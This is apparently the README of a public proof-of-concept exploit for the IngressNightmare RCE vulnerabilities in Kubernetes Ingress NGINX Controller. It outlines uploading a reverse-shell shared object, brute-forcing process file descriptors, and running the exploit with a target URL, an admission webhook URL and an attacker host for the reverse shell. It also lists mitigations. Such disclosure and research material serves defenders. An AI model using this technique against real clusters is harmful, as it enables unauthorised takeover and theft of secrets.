本项目提供了一个漏洞利用工具,针对 Kubernetes 中的 Ingress NGINX Controller 的严重**未认证远程代码执行(RCE)**漏洞,这些漏洞统称为 IngressNightmare。(研究来自 Wiz)
在原始研究中,Wiz 团队没有提供 PoC 或可用的漏洞利用,因此我们决定自行创建并分享给社区。
Ingress NGINX Controller 是 Kubernetes 环境中广泛使用的组件,负责管理对集群内服务的外部访问。近期在其准入控制器中发现的安全漏洞(CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974)可能导致跨命名空间未授权访问所有密钥,并可能允许完全接管集群。
https://github.com/user-attachments/assets/9e893abf-5c01-4fcb-ad79-7115b429281f
该漏洞利用按以下主要步骤执行:
生成共享对象(用于注入的 ssl_engine 属性):
编译包含反向 Shell 载荷的 .so 库(evil_engine.so)。
上传共享对象:
将编译好的共享对象发送到 ingress Pod,利用请求处理(客户端请求体缓冲区)机制。这里的技巧是向服务器发送不同的 Content-Length,以保持连接打开并维持打开文件的文件描述符。
爆破文件描述符(fd): 遍历进程 ID 和文件描述符(/proc/{pid}/fd/{fd}),以识别引用已上传对象的正确描述符。
使用方法
前提条件: Python 3.x GCC 编译器 Python requests 模块
运行漏洞利用:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/hakaioffsec/ingressnightmare-poc/blob/main/attacker_host%3Aport)
例如: python3 xpl.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
有时 admission webhook 位于不同的命名空间中。在这种情况下,你需要在末尾指定命名空间,例如 kube-system、default 或 ingress-nginx。
<ingress_url>: 目标 Ingress URL(公开)
<admission_webhook_url>: 准入 Webhook URL(内部 Webhook)
attacker_host:port: 你的主机和端口,用于反向 Shell
立即更新:将 Ingress NGINX Controller 升级到已修复的版本(1.12.1 或 1.11.5)。
限制准入 Webhook:仅允许 Kubernetes API Server 访问该 Webhook。
临时禁用:如果无法立即升级,请考虑暂时禁用准入控制器组件。
QuimeraX Intelligence 是一个先进的 EASM 和网络威胁情报平台,专注于识别复杂系统中的关键漏洞。该平台主动监控、检测并提醒客户注意安全威胁,确保透明性并快速响应潜在风险。如果客户的系统被发现存在漏洞,他们会立即收到通知和全面的报告,以便采取保护措施。了解更多
Hakai Security 是一家由安全专业人士创立的网络安全公司,致力于卓越的技术。我们提供量身定制的安全解决方案,包括高级渗透测试、真实的红队模拟以及安全开发实践,以主动保护客户资产免受不断演变的网络威胁。了解更多
免责声明
本漏洞利用工具严格仅用于教育和研究目的。未经明确许可对目标使用此工具。Hakai Security 和 QuimeraX 对使用此漏洞利用工具造成的滥用或损害不承担任何责任。